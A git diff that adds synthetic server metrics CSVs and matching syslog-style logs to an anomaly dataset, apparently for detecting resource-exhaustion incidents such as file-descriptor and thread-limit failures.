starting... +Aug 24 10:07:10 app-server[5432]: INFO Server process starting... +Aug 24 10:07:15 systemd[1]: app-server.service: Restarting job. +Aug 24 10:07:20 app-server[5432]: INFO Server process starting... +Aug 24 10:07:25 app-server[5432]: INFO Server process starting... diff --git a/anom_dataset/scenario_6/anom_6_17.csv b/anom_dataset/scenario_6/anom_6_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..a68755813a13d9cfb63b9241e1dc22d0c83e8028 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-04T10:00:00Z,15.99,35.19,26.88,1.19,1.3 +2025-08-04T10:00:05Z,14.72,36.94,22.43,0.61,1.51 +2025-08-04T10:00:10Z,16.3,33.6,21.79,1.13,1.18 +2025-08-04T10:00:15Z,18.05,34.34,26.45,0.9,1.28 +2025-08-04T10:00:20Z,14.53,34.22,24.33,0.7,1.34 +2025-08-04T10:00:25Z,14.53,32.07,27.14,0.99,1.12 +2025-08-04T10:00:30Z,18.16,35.59,26.42,0.94,1.24 +2025-08-04T10:00:35Z,16.53,35.52,24.78,0.78,1.2 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+2025-08-04T10:07:20Z,13.94,85.25,23.68,0.26,0.12 +2025-08-04T10:07:25Z,16.03,85.16,25.39,0.13,0.2 diff --git a/anom_dataset/scenario_6/anom_6_17.log b/anom_dataset/scenario_6/anom_6_17.log new file mode 100644 index 0000000000000000000000000000000000000000..cbf642bc8b62bb75777879531e12c7a0c18cb379 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_17.log @@ -0,0 +1,27 @@ +Aug 04 09:59:58 web-server[4521]: INFO: Starting background job: daily_backup +Aug 04 10:00:19 web-server[4521]: INFO: POST /api/v1/data 201 +Aug 04 10:00:38 web-server[4521]: DEBUG: Cache hit for key: user:1234 +Aug 04 10:00:58 web-server[4521]: WARN: API endpoint /api/v1/status is responding slowly +Aug 04 10:01:18 web-server[4521]: DEBUG: Cache hit for key: user:1234 +Aug 04 10:01:39 web-server[4521]: INFO: POST /api/v1/data 201 +Aug 04 10:01:59 web-server[4521]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 04 10:02:19 web-server[4521]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 04 10:02:37 web-server[4521]: INFO: POST /api/v1/data 201 +Aug 04 10:02:58 web-server[4521]: INFO: POST /api/v1/data 201 +Aug 04 10:03:17 web-server[4521]: INFO: GET /index.html 200 +Aug 04 10:03:37 web-server[4521]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 04 10:03:59 web-server[4521]: INFO: GET /index.html 200 +Aug 04 10:04:18 web-server[4521]: INFO: GET /index.html 200 +Aug 04 10:04:39 web-server[4521]: INFO: Background job 'daily_backup' completed successfully +Aug 04 10:04:57 web-server[4521]: ERROR: Exception on /api/v1/execute: java.lang.OutOfMemoryError: unable to create new native thread +Aug 04 10:04:58 web-server[4521]: WARN: High thread count detected: 4095 active threads +Aug 04 10:04:59 web-server[4521]: INFO: Starting background job: daily_backup +Aug 04 10:05:01 web-server[4521]: ERROR: Failed to accept new connection: accept4: Too many open files +Aug 04 10:05:04 web-server[4521]: ERROR: Cannot create new thread for incoming request, resource temporarily unavailable +Aug 04 10:05:17 web-server[4521]: INFO: Background job 'daily_backup' completed successfully +Aug 04 10:05:39 web-server[4521]: INFO: GET /index.html 200 +Aug 04 10:05:59 web-server[4521]: INFO: Background job 'daily_backup' completed successfully +Aug 04 10:06:19 web-server[4521]: WARN: API endpoint /api/v1/status is responding slowly +Aug 04 10:06:38 web-server[4521]: DEBUG: Cache hit for key: user:1234 +Aug 04 10:06:58 web-server[4521]: INFO: Background job 'daily_backup' completed successfully +Aug 04 10:07:19 web-server[4521]: WARN: API endpoint /api/v1/status is responding slowly diff --git a/anom_dataset/scenario_6/anom_6_18.csv b/anom_dataset/scenario_6/anom_6_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..b88815a3cdefd6ca97e3a44a383d75f0e7a2a61e --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-15T14:37:20Z,89.85995964008279,74.97932864978536,28.07857227597419,0.03371719094586252,0.05598446025765851 +2025-07-15T14:37:25Z,93.00090769818247,76.01591028809425,26.31850362966837,0.02958275803714582,0.03803524045052849 diff --git a/anom_dataset/scenario_6/anom_6_18.log b/anom_dataset/scenario_6/anom_6_18.log new file mode 100644 index 0000000000000000000000000000000000000000..6a1cd0cfb7b5780c9bfd7597eb3ab833e00869b2 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_18.log @@ -0,0 +1,31 @@ +Jul 15 14:30:00 systemd[1]: INFO Normal operation message 0 +Jul 15 14:30:35 nginx[3451]: INFO Normal operation message 7 +Jul 15 14:30:50 sshd[9128]: Accepted password for user admin from 10.1.1.2 port 49152 ssh2 +Jul 15 14:31:10 kernel: INFO Normal operation message 14 +Jul 15 14:31:45 database[1120]: INFO Normal operation message 21 +Jul 15 14:32:05 nginx[3451]: GET /health HTTP/1.1 200 +Jul 15 14:32:20 app-worker[8876]: INFO Normal operation message 28 +Jul 15 14:32:55 sshd[1823]: INFO Normal operation message 35 +Jul 15 14:33:30 kernel: INFO Normal operation message 42 +Jul 15 14:34:05 nginx[3451]: INFO Normal operation message 49 +Jul 15 14:34:10 app-worker[8876]: INFO Task completed successfully +Jul 15 14:34:40 database[1120]: INFO Normal operation message 56 +Jul 15 14:35:15 app-worker[8876]: INFO Normal operation message 63 +Jul 15 14:35:25 api-server[10130]: ERROR accept: Too many open files +Jul 15 14:35:35 connection-handler[12067]: WARN Failed to establish new connection: resource temporarily unavailable +Jul 15 14:35:40 api-server[10136]: ERROR accept: Too many open files +Jul 15 14:35:55 api-server[10142]: ERROR accept: Too many open files +Jul 15 14:36:00 connection-handler[12072]: WARN Failed to establish new connection: resource temporarily unavailable +Jul 15 14:36:10 api-server[10148]: ERROR accept: Too many open files +Jul 15 14:36:10 worker-pool[11222]: CRITICAL Runtime error: can't create new thread +Jul 15 14:36:25 api-server[10154]: ERROR accept: Too many open files +Jul 15 14:36:25 connection-handler[12077]: WARN Failed to establish new connection: resource temporarily unavailable +Jul 15 14:36:30 worker-pool[11234]: CRITICAL Runtime error: can't create new thread +Jul 15 14:36:40 api-server[10160]: ERROR accept: Too many open files +Jul 15 14:36:50 connection-handler[12082]: WARN Failed to establish new connection: resource temporarily unavailable +Jul 15 14:36:50 worker-pool[11246]: CRITICAL Runtime error: can't create new thread +Jul 15 14:36:55 api-server[10166]: ERROR accept: Too many open files +Jul 15 14:37:10 api-server[10172]: ERROR accept: Too many open files +Jul 15 14:37:10 worker-pool[11258]: CRITICAL Runtime error: can't create new thread +Jul 15 14:37:15 connection-handler[12087]: WARN Failed to establish new connection: resource temporarily unavailable +Jul 15 14:37:25 api-server[10178]: ERROR accept: Too many open files diff --git a/anom_dataset/scenario_6/anom_6_19.csv b/anom_dataset/scenario_6/anom_6_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..51411a0be22ad0c2c2958600efeef761265d0123 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,7.712024853741386,41.948374889506965,25.667010093231166,0.9998944276690707,0.9520755433869373 +2025-07-02T10:00:05Z,12.26902782843227,39.033549556920285,25.15230884130013,0.8424340434825914,1.2791049566109933 +2025-07-02T10:00:10Z,12.371909075022323,39.535741309592794,22.32465486025127,1.0699000961229521,1.2825365496880612 +2025-07-02T10:00:15Z,15.847725289784316,40.78936956657722,22.16817969706892,1.0102394013445282,0.9923639151086935 +2025-07-02T10:00:20Z,11.776520045889962,41.643367864051186,24.428551271266315,1.1604482288315998,1.6495547269614712 +2025-07-02T10:00:25Z,14.54739047560698,38.122907797155705,27.068665585159774,0.6926334171520299,1.6572293296165126 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+2025-07-02T10:07:10Z,88.35633872104682,82.41937082337141,10.200138036859054,0.2162495934734224,0.21251189100224888 +2025-07-02T10:07:15Z,90.25539959957136,83.25413142658418,25.74246059048651,0.04689677957491693,0.2525432412022668 +2025-07-02T10:07:20Z,93.35177934257568,87.34151192360048,16.527168029727925,0.17156814028718528,0.1778905142076162 +2025-07-02T10:07:25Z,89.37036451927688,83.49129309928318,27.601558358327587,0.08456875450300319,0.2502164375389884 diff --git a/anom_dataset/scenario_6/anom_6_19.log b/anom_dataset/scenario_6/anom_6_19.log new file mode 100644 index 0000000000000000000000000000000000000000..e04e4cb07dd03e3ad6643d6068e41a7f88e87438 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_19.log @@ -0,0 +1,28 @@ +Jul 02 10:00:30 systemd[1]: Started Session 6 of user root. +Jul 02 10:00:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:01:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:02:50 sshd[10234]: Accepted publickey for user from 192.168.1.105 port 52953 ssh2 +Jul 02 10:03:55 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:04:10 systemd[1]: Started Session 7 of user root. +Jul 02 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:05:05 app-server[27966]: Resource temporarily unavailable +Jul 02 10:05:10 sshd[10234]: Accepted publickey for user from 192.168.1.105 port 54208 ssh2 +Jul 02 10:05:20 app-server[26481]: java.net.SocketException: Too many open files (Accept failed) +Jul 02 10:05:25 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:05:40 kernel: [ 1751450740.00] audit: type=1400 audit(1751450740.0): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=11804 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 02 10:05:45 app-server[27873]: IOException: Too many open files in system +Jul 02 10:05:50 app-server[27593]: ERROR: Caught exception: Can't create new thread +Jul 02 10:06:05 app-server[26979]: ERROR: Caught exception: Can't create new thread +Jul 02 10:06:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:25 app-server[27017]: CRITICAL: Failed to allocate memory for new connection +Jul 02 10:06:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:35 app-server[26482]: java.net.SocketException: Too many open files (Accept failed) +Jul 02 10:06:40 app-server[27987]: Resource temporarily unavailable +Jul 02 10:06:45 app-server[25132]: IOException: Too many open files in system +Jul 02 10:07:10 app-server[26549]: java.net.SocketException: Too many open files (Accept failed) +Jul 02 10:07:15 app-server[27553]: java.net.SocketException: Too many open files (Accept failed) +Jul 02 10:07:20 app-server[25971]: ERROR: Caught exception: Can't create new thread +Jul 02 10:07:20 kernel: [ 1751450840.00] audit: type=1400 audit(1751450840.0): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=13556 comm="sshd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 02 10:07:25 app-server[26427]: Resource temporarily unavailable diff --git a/anom_dataset/scenario_6/anom_6_2.csv b/anom_dataset/scenario_6/anom_6_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..81d339cd42e515d038d0369d3871c6de4aa3c40b --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T10:00:00Z,11.037332645390244,41.55029219577099,17.229444543758355,1.2874718628984758,1.572771988269335 +2025-08-17T10:00:05Z,14.042821163258392,43.588788838966934,21.59859364715195,1.3272519627441417,1.1368512777073747 +2025-08-17T10:00:10Z,18.078394805848582,44.632379336771706,16.09818414748132,1.3141924856985128,1.6126674596715924 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0000000000000000000000000000000000000000..7f9e7e968ae05cb0d9c47169046a2e5db3a88574 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_2.log @@ -0,0 +1,63 @@ +Aug 17 10:00:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:00:00 systemd[1]: Started Session 100 of user service-account. +Aug 17 10:00:00 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 17 10:00:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:00:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:00:50 systemd[1]: Started Session 110 of user service-account. +Aug 17 10:01:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:01:15 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 17 10:01:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:01:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:01:40 systemd[1]: Started Session 120 of user service-account. +Aug 17 10:02:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:02:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:02:30 systemd[1]: Started Session 130 of user service-account. +Aug 17 10:02:30 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 17 10:02:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:03:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 17 10:03:20 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:03:30 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 17 10:03:45 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:04:05 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 17 10:04:10 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:04:35 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:04:40 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 17 10:05:00 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:05:15 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 17 10:05:25 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 17 10:05:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:05:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:05:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:06:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:06:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:30 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:30 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:30 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:06:35 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:40 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:40 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:45 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:45 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:06:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:06:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:06:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:07:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:07:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:07:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 17 10:07:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 17 10:07:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 17 10:07:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_20.csv b/anom_dataset/scenario_6/anom_6_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..667bec682029cf043d50dca6d974b1bc4d4065b2 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-10T14:00:00Z,7.712024853741386,44.870937223767406,25.4002060559387,1.2998944276690705,0.6260377716934686 +2025-07-10T14:00:05Z,12.26902782843227,37.5838738923007,25.091385304780076,1.1424340434825915,0.7895524783054967 +2025-07-10T14:00:10Z,12.371909075022323,38.839353273981985,23.394792916150763,1.3699000961229522,0.7912682748440306 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0000000000000000000000000000000000000000..38f88e92668d9e8b85330b9813d85ee3c9aba75c --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_20.log @@ -0,0 +1,68 @@ +Jul 10 14:00:00 systemd[1]: Started Session 8 of user admin. +Jul 10 14:00:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:00:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:00:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:01:20 systemd[1]: Started Session 8 of user admin. +Jul 10 14:01:35 systemd[1]: Started Session 8 of user admin. +Jul 10 14:01:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:02:00 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:02:10 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:02:25 kubelet[2345]: INFO routine sync completed for pod web-app-pod-7537 +Jul 10 14:02:30 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:02:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:02:40 kernel: table full, dropping packet. +Jul 10 14:02:45 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:02:55 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:02:55 kubelet[2345]: INFO routine sync completed for pod web-app-pod-7537 +Jul 10 14:03:00 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:03:05 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:03:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:03:10 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:03:15 systemd[1]: Started Session 8 of user admin. +Jul 10 14:03:20 kernel: table full, dropping packet. +Jul 10 14:03:20 systemd[1]: Started Session 8 of user admin. +Jul 10 14:03:25 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:03:40 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:03:40 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:03:45 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:03:55 kernel: table full, dropping packet. +Jul 10 14:04:00 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:04:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:04:15 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:04:15 systemd[1]: Started Session 8 of user admin. +Jul 10 14:04:20 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:04:30 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:04:35 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:04:40 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:04:40 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:04:50 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:05:00 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:05:05 kernel: table full, dropping packet. +Jul 10 14:05:05 systemd[1]: Started Session 8 of user admin. +Jul 10 14:05:10 kernel: table full, dropping packet. +Jul 10 14:05:15 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:05:25 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:05:30 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:05:35 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:05:40 kernel: table full, dropping packet. +Jul 10 14:05:40 systemd[1]: Started Session 8 of user admin. +Jul 10 14:05:45 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:05:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:06:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:06:05 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:06:10 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:06:15 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:06:15 systemd[1]: Started Session 8 of user admin. +Jul 10 14:06:20 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:06:30 app-server[15310]: ERROR failed to serve request: can't create new thread +Jul 10 14:06:35 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:06:35 systemd[1]: Started Session 8 of user admin. +Jul 10 14:06:45 sshd[14628]: Accepted publickey for user admin from 10.0.1.27 port 44788 ssh2 +Jul 10 14:06:55 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:06:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:07:00 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:07:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 10 14:07:05 app-server[15310]: WARN resource allocation limit reached, dropping connection +Jul 10 14:07:10 app-server[15310]: ERROR failed to accept new connection: Too many open files +Jul 10 14:07:15 kernel: table full, dropping packet. +Jul 10 14:07:20 kernel: table full, dropping packet. diff --git a/anom_dataset/scenario_6/anom_6_21.csv b/anom_dataset/scenario_6/anom_6_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..5db771ef833dfa839e087b00c04cea1618917fa0 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_21.csv @@ -0,0 +1,91 @@ +timestamp,mem_usage,disk_io,cpu_usage,net_in,net_out +2025-08-15T10:00:00Z,39.07,34.92,16.6,0.82,1.34 +2025-08-15T10:00:05Z,41.94,23.55,10.56,0.86,1.44 +2025-08-15T10:00:10Z,39.53,18.13,25.43,0.88,1.13 +2025-08-15T10:00:15Z,43.22,20.94,18.34,1.21,1.12 +2025-08-15T10:00:20Z,40.76,15.73,9.98,1.47,1.23 +2025-08-15T10:00:25Z,41.79,28.25,11.31,1.26,1.1 +2025-08-15T10:00:30Z,45.54,22.0,21.53,1.5,1.28 +2025-08-15T10:00:35Z,44.56,18.62,15.06,1.21,0.94 +2025-08-15T10:00:40Z,43.24,18.3,20.43,1.01,0.91 +2025-08-15T10:00:45Z,46.77,26.11,12.35,0.9,1.43 +2025-08-15T10:00:50Z,45.71,25.49,12.97,1.13,0.92 +2025-08-15T10:00:55Z,46.33,24.47,8.05,0.88,1.38 +2025-08-15T10:01:00Z,45.69,27.2,22.22,1.11,0.88 +2025-08-15T10:01:05Z,47.69,23.75,13.42,0.94,1.47 +2025-08-15T10:01:10Z,50.19,26.93,17.23,1.0,1.11 +2025-08-15T10:01:15Z,50.89,33.1,24.68,1.27,1.07 +2025-08-15T10:01:20Z,48.57,15.21,18.7,0.83,1.13 +2025-08-15T10:01:25Z,49.25,21.46,10.86,1.46,1.11 +2025-08-15T10:01:30Z,51.48,19.38,15.96,1.45,1.1 +2025-08-15T10:01:35Z,53.67,30.88,18.72,1.24,1.0 +2025-08-15T10:01:40Z,50.45,32.44,20.67,1.01,1.28 +2025-08-15T10:01:45Z,51.33,32.64,13.25,0.87,1.06 +2025-08-15T10:01:50Z,52.05,34.34,21.15,1.12,1.13 +2025-08-15T10:01:55Z,54.43,19.58,8.29,1.28,1.19 +2025-08-15T10:02:00Z,55.91,28.71,16.23,1.13,1.5 +2025-08-15T10:02:05Z,55.96,29.85,21.89,1.45,0.95 +2025-08-15T10:02:10Z,56.61,26.74,8.65,1.36,1.12 +2025-08-15T10:02:15Z,54.78,28.17,9.75,1.05,0.88 +2025-08-15T10:02:20Z,56.21,30.66,10.58,1.39,0.81 +2025-08-15T10:02:25Z,59.3,15.02,16.13,0.92,0.89 +2025-08-15T10:02:30Z,58.93,21.08,14.88,0.98,1.23 +2025-08-15T10:02:35Z,58.6,30.19,20.93,1.33,1.34 +2025-08-15T10:02:40Z,60.91,23.0,18.18,0.89,1.28 +2025-08-15T10:02:45Z,59.86,34.09,21.8,1.12,1.06 +2025-08-15T10:02:50Z,59.11,26.46,24.06,1.39,1.1 +2025-08-15T10:02:55Z,59.78,21.62,13.08,1.09,1.47 +2025-08-15T10:03:00Z,61.89,17.68,17.0,1.37,1.2 +2025-08-15T10:03:05Z,63.13,22.33,13.01,1.04,1.43 +2025-08-15T10:03:10Z,62.72,27.67,25.17,1.07,0.85 +2025-08-15T10:03:15Z,64.13,25.41,15.34,0.87,1.48 +2025-08-15T10:03:20Z,66.41,28.62,20.96,1.45,1.09 +2025-08-15T10:03:25Z,67.12,24.59,24.6,1.07,1.48 +2025-08-15T10:03:30Z,64.76,21.57,26.67,1.36,1.04 +2025-08-15T10:03:35Z,64.86,18.37,25.44,1.31,1.33 +2025-08-15T10:03:40Z,68.2,28.45,10.55,0.84,0.92 +2025-08-15T10:03:45Z,67.7,16.36,94.73,0.45,0.66 +2025-08-15T10:03:50Z,66.56,16.0,91.38,0.16,0.32 +2025-08-15T10:03:55Z,70.95,20.33,89.96,0.28,0.24 +2025-08-15T10:04:00Z,70.6,32.62,76.14,0.44,0.65 +2025-08-15T10:04:05Z,69.25,27.88,89.66,0.58,0.32 +2025-08-15T10:04:10Z,71.81,30.96,95.84,0.42,0.12 +2025-08-15T10:04:15Z,70.75,20.37,98.33,0.78,0.64 +2025-08-15T10:04:20Z,72.04,15.94,86.84,0.28,0.76 +2025-08-15T10:04:25Z,73.05,18.44,87.27,0.47,0.21 +2025-08-15T10:04:30Z,73.18,21.0,79.54,0.48,0.55 +2025-08-15T10:04:35Z,72.8,19.63,74.7,0.11,0.29 +2025-08-15T10:04:40Z,74.0,25.07,89.49,0.27,0.46 +2025-08-15T10:04:45Z,75.6,30.55,92.74,0.56,0.44 +2025-08-15T10:04:50Z,77.09,26.0,89.38,0.19,0.48 +2025-08-15T10:04:55Z,74.78,31.97,75.91,0.62,0.58 +2025-08-15T10:05:00Z,77.38,29.2,81.93,0.27,0.49 +2025-08-15T10:05:05Z,79.11,23.83,78.03,0.64,0.33 +2025-08-15T10:05:10Z,77.65,22.52,88.06,0.3,0.6 +2025-08-15T10:05:15Z,78.49,34.84,79.29,0.12,0.41 +2025-08-15T10:05:20Z,79.85,24.9,88.26,0.43,0.33 +2025-08-15T10:05:25Z,79.73,16.66,80.37,0.11,0.62 +2025-08-15T10:05:30Z,79.21,31.74,97.27,0.3,0.69 +2025-08-15T10:05:35Z,82.55,28.02,81.2,0.17,0.33 +2025-08-15T10:05:40Z,81.06,30.48,91.24,0.69,0.53 